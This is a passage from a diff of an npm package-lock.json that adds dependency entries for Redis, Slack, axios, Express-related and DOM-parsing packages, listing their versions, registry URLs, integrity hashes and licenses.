"sha512-GHoprlNQD51Xq2Ztd94HHV94MdFZQ3CVrpA04Fz8MVoHM0B7SlbmPEVIjwTbcv58z8QyjnrOuikS0rWF03k5dQ==", + "license": "MIT", + "dependencies": { + "cluster-key-slot": "1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@node-rs/xxhash": "^1.1.0" + }, + "peerDependenciesMeta": { + "@node-rs/xxhash": { + "optional": true + } + } + }, + "node_modules/@redis/json": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/json/-/json-5.11.0.tgz", + "integrity": "sha512-1iAy9kAtcD0quB21RbPTbUqqy+T2Uu2JxucwE+B4A+VaDbIRvpZR6DMqV8Iqaws2YxJYB3GC5JVNzPYio2ErUg==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/search": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/search/-/search-5.11.0.tgz", + "integrity": "sha512-g1l7f3Rnyk/xI99oGHIgWHSKFl45Re5YTIcO8j/JE8olz389yUFyz2+A6nqVy/Zi031VgPDWscbbgOk8hlhZ3g==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/time-series": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/time-series/-/time-series-5.11.0.tgz", + "integrity": "sha512-TWFeOcU4xkj0DkndnOyhtxvX1KWD+78UHT3XX3x3XRBUGWeQrKo3jqzDsZwxbggUgf9yLJr/akFHXru66X5UQA==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@resend/chat-sdk-adapter": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@resend/chat-sdk-adapter/-/chat-sdk-adapter-0.1.1.tgz", + "integrity": "sha512-8rGteBhvmIOU38zUun6Jwfgw3hfxKmyhvz329lJ6XIKidHy9wTWMoV9DpuR6typiiKhNnSZeDEB6/3kE3S2J3A==", + "license": "MIT", + "dependencies": { + "@react-email/components": "1.0.8", + "@react-email/render": "2.0.4", + "hast-util-to-html": "^9.0.5", + "mdast-util-to-hast": "^13.2.1", + "resend": "6.9.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@chat-adapter/shared": "^4.15.0", + "chat": "^4.15.0" + } + }, "node_modules/@rollup/rollup-android-arm-eabi": { "version": "4.60.1", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", @@ -1256,6 +2741,78 @@ "npm": ">=7.0.0" } }, + "node_modules/@selderee/plugin-htmlparser2": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@selderee/plugin-htmlparser2/-/plugin-htmlparser2-0.11.0.tgz", + "integrity": "sha512-P33hHGdldxGabLFjPPpaTxVolMrzrcegejx+0GxjrIb9Zv48D8yAIA/QTDR2dFl7Uz7urX8aX6+5bCZslr+gWQ==", + "license": "MIT", + "dependencies": { + "domhandler": "^5.0.3", + "selderee": "^0.11.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/@slack/logger": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@slack/logger/-/logger-4.0.1.tgz", + "integrity": "sha512-6cmdPrV/RYfd2U0mDGiMK8S7OJqpCTm7enMLRR3edccsPX8j7zXTLnaEF4fhxxJJTAIOil6+qZrnUPTuaLvwrQ==", + "license": "MIT", + "dependencies": { + "@types/node": ">=18" + }, + "engines": { + "node": ">= 18", + "npm": ">= 8.6.0" + } + }, + "node_modules/@slack/types": { + "version": "2.20.1", + "resolved": "https://registry.npmjs.org/@slack/types/-/types-2.20.1.tgz", + "integrity": "sha512-eWX2mdt1ktpn8+40iiMc404uGrih+2fxiky3zBcPjtXKj6HLRdYlmhrPkJi7JTJm8dpXR6BWVWEDBXtaWMKD6A==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0", + "npm": ">= 6.12.0" + } + }, + "node_modules/@slack/web-api": { + "version": "7.15.0", + "resolved": "https://registry.npmjs.org/@slack/web-api/-/web-api-7.15.0.tgz", + "integrity": "sha512-va7zYIt3QHG1x9M/jqXXRPFMoOVlVSSRHC5YH+DzKYsrz5xUKOA3lR4THsu/Zxha9N1jOndbKFKLtr0WOPW1Vw==", + "license": "MIT", + "dependencies": { + "@slack/logger": "^4.0.1", + "@slack/types": "^2.20.1", + "@types/node": ">=18", + "@types/retry": "0.12.0", + "axios": "^1.13.5", + "eventemitter3": "^5.0.1", + "form-data": "^4.0.4", + "is-electron": "2.2.2", + "is-stream": "^2", + "p-queue": "^6", + "p-retry": "^4", + "retry": "^0.13.1" + }, + "engines": { + "node": ">= 18", + "npm": ">= 8.6.0" + } + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", + "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", + "license": "MIT" + }, + "node_modules/@stablelib/base64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", + "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", + "license": "MIT" + }, "node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", @@ -1307,12 +2864,37 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/events": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.3.tgz", + "integrity": "sha512-trOc4AAUThEz9hapPtSd7wf5tiQKvTtu5b371UxXdTuqzIh0ArcRspRP0i0Viu+LXstIQ1z96t1nsPxT9ol01g==", + "license": "MIT" + }, + "node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, "node_modules/@types/json-schema": { "version": "7.0.15", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", "dev": true }, + "node_modules/@types/jsonwebtoken": { + "version": "9.0.10", + "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.10.tgz", + "integrity": "sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==", + "license": "MIT", + "dependencies": { + "@types/ms": "*", + "@types/node": "*" + } + }, "node_modules/@types/mdast": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", @@ -1337,6 +2919,12 @@ "undici-types": "~6.21.0" } }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT" + }, "node_modules/@types/unist": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", @@ -1619,6 +3207,12 @@ "url": "https://opencollective.com/eslint" } }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "license": "ISC" + }, "node_modules/@vitest/expect": { "version": "4.0.18", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz", @@ -1746,6 +3340,19 @@ "integrity": "sha512-8kkeoQKLDaKXefjV5dbhBj2aErfKp1Mc4pb6tj8144cF+Em5SPbyMbyLCHp+BVrFfFVCBluCtMx+jjvaFVZGww==", "license": "Apache-2.0" }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, "node_modules/acorn": { "version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", @@ -1767,6 +3374,15 @@ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, "node_modules/ajv": { "version": "6.14.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", @@ -1783,6 +3399,12 @@ "url": "https://github.com/sponsors/epoberezkin" } }, + "node_modules/another-json": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/another-json/-/another-json-0.2.0.tgz", + "integrity": "sha512-/Ndrl68UQLhnCdsAzEXLMFuOR546o2qbYRqCglaNHbjXrwG1ayTcdwr3zkSGOGtGXDyR5X9nCFfnyG2AFJIsqg==", + "license": "Apache-2.0" + }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -1814,6 +3436,23 @@ "node": ">=12" } }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz", + "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^2.1.0" + } + }, "node_modules/bail": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", @@ -1830,6 +3469,12 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "dev": true }, + "node_modules/base-x": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/base-x/-/base-x-5.0.1.tgz", + "integrity": "sha512-M7uio8Zt++eg3jPj+rHMfCC+IuygQHHCOU+IYsVtik6FWjuYpVt/+MRKcgsAMHh8mMFAwnB+Bs+mTrFiXjMzKg==", + "license": "MIT" + }, "node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", @@ -1850,6 +3495,12 @@ ], "license": "MIT" }, + "node_modules/before-after-hook": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==", + "license": "Apache-2.0" + }, "node_modules/better-sqlite3": { "version": "11.10.0", "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-11.10.0.tgz", @@ -1861,6 +3512,24 @@ "prebuild-install": "^7.1.1" } }, + "node_modules/big-integer": { + "version": "1.6.52", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz", + "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==", + "license": "Unlicense", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/bignumber.js": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, "node_modules/bindings": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", @@ -1881,6 +3550,48 @@ "readable-stream": "^3.4.0" } }, + "node_modules/body-parser": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz", + "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^1.0.5", + "debug": "^4.4.3", + "http-errors": "^2.0.0", + "iconv-lite": "^0.7.0", + "on-finished": "^2.4.1", + "qs": "^6.14.1", + "raw-body": "^3.0.1", + "type-is": "^2.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "license": "ISC" + }, + "node_modules/bplist-parser": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/bplist-parser/-/bplist-parser-0.3.2.tgz", + "integrity": "sha512-apC2+fspHGI3mMKj+dGevkGo/tCqVB8jMb6i+OX+E29p0Iposz07fABkRIfVUPNd5A5VbuOz1bZbnmkKLYF+wQ==", + "license": "MIT", + "dependencies": { + "big-integer": "1.6.x" + }, + "engines": { + "node": ">= 5.10.0" + } + }, "node_modules/brace-expansion": { "version": "1.1.13", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz", @@ -1892,6 +3603,15 @@ "concat-map": "0.0.1" } }, + "node_modules/bs58": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/bs58/-/bs58-6.0.0.tgz", + "integrity": "sha512-PD0wEnEYg6ijszw/u8s+iI3H17cTymlrwkKhDhPZq+Sokl3AU4htyBFTjAeNAlCCmg0f53g6ih3jATyCKftTfw==", + "license": "MIT", + "dependencies": { + "base-x": "^5.0.0" + } + }, "node_modules/buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", @@ -1916,6 +3636,50 @@ "ieee754": "^1.1.13" } }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause" + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", @@ -1971,6 +3735,26 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/chat": { "version": "4.24.0", "resolved": "https://registry.npmjs.org/chat/-/chat-4.24.0.tgz", @@ -1986,12 +3770,35 @@ "unified": "^11.0.5" } }, + "node_modules/chat-adapter-imessage": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/chat-adapter-imessage/-/chat-adapter-imessage-0.1.1.tgz", + "integrity": "sha512-Lq4FZqvV8QnwtD3CVUPF56L6J4aIEaOY08+uuSWBsxKKtTBH/rbJltJiiz2QRGvvWRyuBsjJ0RzXn4kiDG0LaQ==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "^4.15.0", + "@photon-ai/advanced-imessage-kit": "^1.14.3", + "@photon-ai/imessage-kit": "^2.1.2" + }, + "peerDependencies": { + "chat": "^4.14.0" + } + }, "node_modules/chownr": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", "license": "ISC" }, + "node_modules/cluster-key-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", + "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", @@ -2010,12 +3817,100 @@ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", "dev": true }, + "node_modules/consola": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz", + "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.10.0" + } + }, + "node_modules/content-disposition": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", + "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/cron-parser": { "version": "5.5.0", "resolved": "https://registry.npmjs.org/cron-parser/-/cron-parser-5.5.0.tgz", @@ -2042,6 +3937,43 @@ "node": ">= 8" } }, + "node_modules/css-select": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.2.2.tgz", + "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-what": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz", + "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, "node_modules/debug": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", @@ -2102,6 +4034,33 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/dequal": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", @@ -2178,6 +4137,99 @@ "url": "https://github.com/discordjs/discord.js?sponsor" } }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + 